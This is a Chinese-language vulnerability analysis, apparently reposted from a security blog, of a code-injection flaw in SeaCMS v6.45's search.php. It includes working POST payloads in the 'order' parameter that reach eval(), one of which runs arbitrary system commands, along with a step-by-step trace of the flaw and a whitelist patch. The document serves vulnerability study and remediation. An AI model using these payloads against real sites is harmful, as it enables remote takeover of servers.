1. 环境:
php5.5.38+apache+seacms v6.45
seacms 目录结构:
│─admin // 后台管理目录
│ │─coplugins // 已停用目录
│ │─ebak // 帝国备份王数据备份
│ │─editor // 编辑器
│ │─img // 后台静态文件
│ │─JS // 后台 JS 文件
│ │─templets // 后台模板文件
│─article // 文章内容页
│─articlelist // 文章列表页
│─comment // 评论
│ │─API // 评论接口文件
│ │─images // 评论静态文件
│ │─JS // 评论 JS 文件
│─data // 配置数据及缓存文件
│ │─admin // 后台配置保存
│ │─cache // 缓存
│ │─mark // 水印
│ │─sessions //sessions 文件
│─detail // 视频内容页
│─include // 核心文件
│ │─crons // 定时任务配置
│ │─data // 静态文件
│ │─inc // 扩展文件
│ │─webscan //360 安全监测模块
│─install // 安装模块
│ │─images // 安装模块静态文件
│ │─templates // 安装模块模板
│─JS //JS 文件
│ │─ads // 默认广告目录
│ │─player // 播放器目录
│─list // 视频列表页
│─news // 文章首页
│─pic // 静态文件
│ │─faces // 表情图像
│ │─member // 会员模块界面
│ │─slide // 旧版 Flash 幻灯片
│ │─zt // 专题静态文件
│─templets // 模板目录
│─topic // 专题内容页
│─topiclist // 专题列表页
│─uploads // 上传文件目录
│─video // 视频播放页
│─weixin // 微信接口目录
└─index.PHP // 首页文件
2. 利用代码
- poc1
- http://seacms.test/search.php
- POST:
- searchtype=5&order=}{
- end if
- } {
- if:1)phpinfo();if(1
- }{
- end if
- }
- poc2:
- POST:
- searchtype=5&order=}{
- end if
- }{
- if:1)$_POST[func]($_POST[cmd]);//
- }{
- end if
- }&func=system&cmd=whoami
- searchtype=5&order=}{
- end if
- }{
- if:1)$_POST[func]($_POST[cmd]);if(1
- }{
- end if
- }&func=system&cmd=whoami
3. 执行效果
4. 漏洞分析
漏洞产生链如上图所示, 在 search.PHP 的 212 行下断点, 因为在此处产生了 parseIf()函数的调用, 并且最终的命令执行是发生在此函数中, 用 payload 打一次, 将停在此处, 进入此函数进行分析
如上图所示, 其中 buildregx 函数是构建 PHP 的原生正则表达式
接下来使用 $labelRule 规则进行 preg_match_all 匹配出了所有满足的结果, 并放在 $iar 中, 我猜测这里 class 顶一个两个 CSS 样式, 通过 if 条件来调整按钮样式的
通过这 4 行代码将 $iar 中的每条记录分为条件, 以及条件体
接着判断正则 $labelRule2 所表示的字符串是否包含于条件体中, 默认是不包含的, 并且 $labelRule3 中包含的 {else} 字符串是出现在条件体中的, 所以进入循环, 此时将条件体又分为两块,
分别代表两种不同的 CSS 样式, 接着就是触发漏洞的核心, 在这里也发现了 eval 函数的调用, 用于代码执行的经典函数
如上图所示, 将 $strif 变量与 if 条件进行了拼接, 那么此处是否存在代码注入的情况? 的确如此, 此时可以看看 $strif 的值
其中第 95 条就包含有我们的 payload, 那么此时将 payload 和 if 条件进行拼接可以得到:
if(1)phpinfo();if(1)
此时成功闭合了 PHP 语句, 并且跟后面的 $ifFlag 条件体也成功闭合了, 所以能够成功进行代码执行!!! 代码注入真刺激~, 到此已经实现 RCE, 那么想想为啥会造成这样的漏洞, 我向上看看变量是如何传递过来的,
parse 函数就是在 main.class.PHP 这个类文件中定义的处理 if 代码块的函数, 其入口参数为 $content, 那么回到调用 parseIf 函数的地方, 也就是 search.PHP, 因为我们漏洞文件也在该文件, 那么我们 POST 传递过来的 payload 最终会传递到 content 然后再进入到 parseIf 函数进行处理, 而该处调用又是存在于 echoPageSearch()函数中, 那么回到该函数入口处, 在其上方发现了对其的调用, 现在在此文件全局搜索以下 POST 字符串
如上图所示, 没有搜索到 POST, 那么有可能包含在 common.PHP 中, 进去看看
正与我们所猜测的一样, 此时可以在注释中发现, 其通过一段循环将 POST 中的值注册为变量了, 并且我们提交的标量里不能包含 cfg_和 GLOVALS 字符串, 并且在 COOKIE 中不能够设置, 这里是为了防止变量覆盖
接下来还调用了_RunMagicQuotes()函数对变量值进行过滤, 实际上进行了一个 addslashes()函数的操作, 并不影响我们实际所用的 payload
可以从上图看到传递进来的变量直接注册为内部的变量了, 并且变量内容没有发生变化, 那么说明都是我们可以控制的, 因为最后 parse 处理的变量是 $content, 那么我们需要弄清 $order 是如何赋值到 $content 中的,
再次文件中搜索 $order 的使用
可以找到 4 处调用, 第一处是在函数内部 global 来引用, 第二处又将 $order 赋值给 $orderStr, 但是这样赋值没有影响到 $content 变量, 因此看最后一处调用
如上图所示, 将 $content 中的 {searchpage:ordername} 部分替换为了 $order 变量的值, 为了更清楚的看看 $content 的内容是如何变化的, 我们可以在 158 行和 160 行处下断点, 重新执行一次 payload, 此时可以在此断点处查看 $content 的值, 并将替换前后的 $content 值进行对比, 可以看到 str_replace()函数将进行 3 处替换
即在此处完成了 payload 对 $content 变量的注入, 之后在最终调用 parseIf()函数处理 $content 变量之前, 又对 $content 的内容进行了多次替换, 但是并没有影响到我们的 payload, 接下来看看程序是如何解析出来我们的 paylaod 的
上面已经说过程序是利用
{if:(.*?)}(.*?){end if}
这一串正则来对 $content 变量进行匹配的, 那么此时对于我们注入 payload 的部分, 最终是 eval()中包含 $strIf 变量, 那么由于是贪婪匹配, 所以首先将会匹配到第一部分{if:"}{end if} 将" 匹配出来作为一部分, 然后下一次匹配再匹配到 1)phpinfo();if(1 作为另一次匹配的部分
可以从 $iar 变量的值中验证我们的推理是正确的, 这里存在 3 处相同的匹配是因为之前 $order 对 $content 进行了 3 次 payload 注入, 这样的构造的确很巧妙, 首先 1)phpinfo();if(1 这一部分要闭合后面 eval 部分, 然后再要满足前面正则匹配的逻辑能够把 payload 完整匹配出来,
这可能也是开发人员没有想到的, 之后拼接的方法上面已经讲了, 漏洞的整个分析流程到此结束.
5. 修复方法:
在 64 行添加
$order = ($order == "commend" || $order == "time" || $order == "hit") ? $order : "";
来源: https://www.cnblogs.com/wfzWebSecuity/p/11101008.html